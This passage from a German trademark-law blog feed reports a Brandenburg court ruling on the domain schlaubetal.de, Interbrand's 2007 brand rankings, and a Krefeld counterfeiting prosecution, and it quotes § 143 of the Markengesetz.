<p>Die Gemeinde Schlaubetal, deren vermeintliche Namensrechte das Amt Schlaubetal ebenfalls geltend machen wollte, sei ebenfalls nicht in einem Namensrecht verletzt. Zwar könne eine Gemeinde für eine rein geographische Bezeichnung Namensschutz genießen. Aber nur dann, wenn diese Bezeichnung als Herkunftshinweis dient.<br />
Namensschutz könnten demzufolge nur diejenigen Gebietskörperschaften genießen, die mit ihrer räumlichen Ausdehnung diejenige Region komplett einnehmen, deren Name sie der Bezeichnung „Stadt“ oder „Gemeinde“ hinzugefügt haben. Dies sei bei der Gemeinde Schlaubetal aber gerade nicht der Fall.<br />
Die Benutzer des Internet würden unter der website www.schlaubetal.de keine Informationen über das Amt oder die Gemeinde Schlaubetal, sondern über die Region als Naturpark, ein überregional bekanntes und beliebtes Ausflugsgebiet erwarten. Demzufolge bestünde schon nicht die Gefahr einer Zuordnungsverwirrung. Auf eine Gefahr der Verwirrung bei der lokalen Bevölkerung komme es bei einer deutschlandweit erreichbaren Domain nicht an.</p>
<p>Link zum Urteil im <a href="http://www.olg.brandenburg.de/sixcms/media.php/4250/6%20U%20123-06.pdf">Volltext</a><!--aba70f4c85b4e876eab35d7541323d9b22010--><br />
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		<title>Coca-Cola</title>
		<link>http://www.markenrecht-blog.de/2007-07-28/coca-cola-ist-wertvollste-marke-der-welt-google-holt-stark-auf/</link>
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		<pubDate>Sat, 28 Jul 2007 00:18:09 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Coca-Cola behauptet sich erneut als wertvollste Marke der Welt, gefolgt von Microsoft und IBM. Unter den 100 wertvollsten Marken, die von der US-amerikanischen Beratungsfirma Interbrand jährlich festgestellt werden, hatte die Marke Google den größten prozentualen Zuwachs von 44%. Diese deutschen Marken gehören zu den Top 100: Mercedes (Platz 10), BMW, VW, Audi, Porsche, SAP, Siemens, [...]]]></description>
			<content:encoded><![CDATA[<p>Coca-Cola behauptet sich erneut als wertvollste Marke der Welt, gefolgt von Microsoft und IBM. Unter den 100 wertvollsten Marken, die von der US-amerikanischen Beratungsfirma Interbrand jährlich festgestellt werden, hatte die Marke Google den größten prozentualen Zuwachs von 44%.</p>
<p>Diese deutschen Marken gehören zu den Top 100: Mercedes (Platz 10), BMW, VW, Audi, Porsche, SAP, Siemens, Adidas, Allianz und Nivea.</p>
<p>Quelle: <a href="http://www.interbrand.com/best_brands_2007.asp">Interbrand</a><span id="more-34"></span><!--e497dc52d2d20d108a893fdbf3efe97022010--><br />
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		<title>Markenpiraterie:</title>
		<link>http://www.markenrecht-blog.de/2007-07-18/markenpiraterie-gewerbsmasiger-verstos-gegen-das-markengesetz-angeklagt/</link>
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		<pubDate>Wed, 18 Jul 2007 07:40:12 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Ein 23-jähriger Mann hat am 11.07.2007 vor dem Krefelder Landgericht rund 5000 Fälle von Verstößen gegen das Markengesetz eingeräumt. Er soll laut Anklage zwischen Februar 2005 und Oktober 2006 in mehr als 16 000 Fällen im Internet bei Ebay gefälschte T-Shirts und Jeans diverser Luxusmarken verkauft haben. Die Straftaten werden trotz fehlendem Strafantrag der Hersteller [...]]]></description>
			<content:encoded><![CDATA[<p>Ein 23-jähriger Mann hat am 11.07.2007 vor dem Krefelder Landgericht rund 5000 Fälle von Verstößen gegen das Markengesetz eingeräumt. Er soll laut Anklage zwischen Februar 2005 und Oktober 2006 in mehr als 16 000 Fällen im Internet bei Ebay gefälschte T-Shirts und Jeans diverser Luxusmarken verkauft haben. </p>
<p>Die Straftaten werden trotz fehlendem Strafantrag der Hersteller von Amts wegen angeklagt.</p>
<p>Quelle: <a href="http://www.ad-hoc-news.de/Aktuelle-Nachrichten/de/12458978/Angeklagter-r%E4umt-Internethandel-mit-gef%E4lschten-Markenwaren">ad-hoc news</a></p>
<p>Anmerkung: Auf Grund des Umfangs, der Beharrlichkeit der Rechtsverstöße und der Popularität von Markenpiraterie liegt ein „besonderes öffentliches Interesse“ an der Strafverfolgung vor.<br />
<span id="more-31"></span>In jedem Einzelfall ist ein Strafrahmen bis zu fünf Jahren möglich. Die Gesamtstrafe für alle 5000 Fälle darf bei der zu erwartenden zeitigen Freiheitsstrafe fünfzehn Jahre nicht übersteigen (§ 54 Abs. 2 StGB).</p>
<p>Zum Verständnis hier ein Auszug aus § 143 Markengesetz (MarkenG):</p>
<p>(1) Wer im geschäftlichen Verkehr widerrechtlich<br />
1. entgegen § 14 Abs. 2 Nr. 1 oder 2 ein Zeichen benutzt,<br />
2. entgegen § 14 Abs. 2 Nr. 3 ein Zeichen in der Absicht benutzt, die Unterscheidungskraft oder die Wertschätzung einer bekannten Marke auszunutzen oder zu beeinträchtigen,<br />
3. entgegen § 14 Abs. 4 Nr. 1 ein Zeichen anbringt oder entgegen § 14 Abs. 4 Nr. 2 oder 3 eine Aufmachung oder Verpackung oder ein Kennzeichnungsmittel anbietet, in den Verkehr bringt, besitzt, einführt oder ausführt, soweit Dritten die Benutzung des Zeichens<br />
a) nach § 14 Abs. 2 Nr. 1 oder 2 untersagt wäre oder<br />
b) nach § 14 Abs. 2 Nr. 3 untersagt wäre und die Handlung in der Absicht vorgenommen wird, die Ausnutzung oder Beeinträchtigung der Unterscheidungskraft oder der Wertschätzung einer bekannten Marke zu ermöglichen,<br />
4. entgegen § 15 Abs. 2 eine Bezeichnung oder ein Zeichen benutzt oder<br />
5. entgegen § 15 Abs. 3 eine Bezeichnung oder ein Zeichen in der Absicht benutzt, die Unterscheidungskraft oder die Wertschätzung einer bekannten geschäftlichen Bezeichnung auszunutzen oder zu beeinträchtigen,<br />
wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.</p>
<p>(2) Handelt der Täter gewerbsmäßig, so ist die Strafe Freiheitsstrafe bis zu fünf Jahren oder Geldstrafe. …</p>
<p>(4) In den Fällen des Absatzes 1 wird die Tat nur auf Antrag verfolgt, es sei denn, daß die Strafverfolgungsbehörde wegen des besonderen öffentlichen Interesses an der Strafverfolgung ein Einschreiten von Amts wegen für geboten hält. …<br />
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